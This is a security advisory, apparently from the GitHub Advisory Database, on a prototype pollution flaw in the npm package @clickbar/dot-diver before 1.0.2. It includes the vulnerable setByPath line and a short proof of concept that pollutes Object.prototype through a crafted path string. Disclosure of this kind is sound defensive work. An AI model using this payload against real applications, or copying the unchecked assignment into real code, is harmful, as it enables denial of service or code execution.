High

Prototype Pollution(PP) vulnerability in setByPath

Disclosed: 03.11.2023
Updated: 11.10.2026 10:22

Summary

There is a Prototype Pollution(PP) vulnerability in dot-diver. It can leads to RCE.

Details

//https://github.com/clickbar/dot-diver/tree/main/src/index.ts:277

// eslint-disable-next-line @typescript-eslint/no-unsafe-member-access
  objectToSet[lastKey] = value

In this code, there is no validation for Prototpye Pollution.

PoC

import { getByPath, setByPath } from '@clickbar/dot-diver'

console.log({}.polluted); // undefined
setByPath({},'constructor.prototype.polluted', 'foo');
console.log({}.polluted); // foo

Impact

It is Prototype Pollution(PP) and it can leads to Dos, RCE, etc.

Credits

Team : NodeBoB

최지혁 ( Jihyeok Choi )

이동하 ( Lee Dong Ha of ZeroPointer Lab )

강성현 ( kang seonghyeun )

박성진 ( sungjin park )

김찬호 ( Chanho Kim )

이수영 ( Lee Su Young )

김민욱 ( MinUk Kim )

Affected software

Click a technology to see all vulnerabilities affecting it.

Platform	Package	Vulnerable versions	Fixed in
npm package	@clickbar/dot-diver	< 1.0.2	1.0.2

References

CVSS score 7.3/10

CVSS vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
Weakness (CWE): CWE-1321
Platform: npm
Package: @clickbar/dot-diver
Disclosed: 03.11.2023
Updated: 11.10.2026 10:22

Sources and licenses

OSV / GitHub Advisory Database - GHSA-9w5f-mw3p-pj47 - CC BY 4.0

Vulnerability history: @clickbar/dot-diver

All published vulnerabilities of this package (npm package), newest first. Shows whether this is a one-off slip or a package that needs watching.

This is the only known vulnerability of this package.

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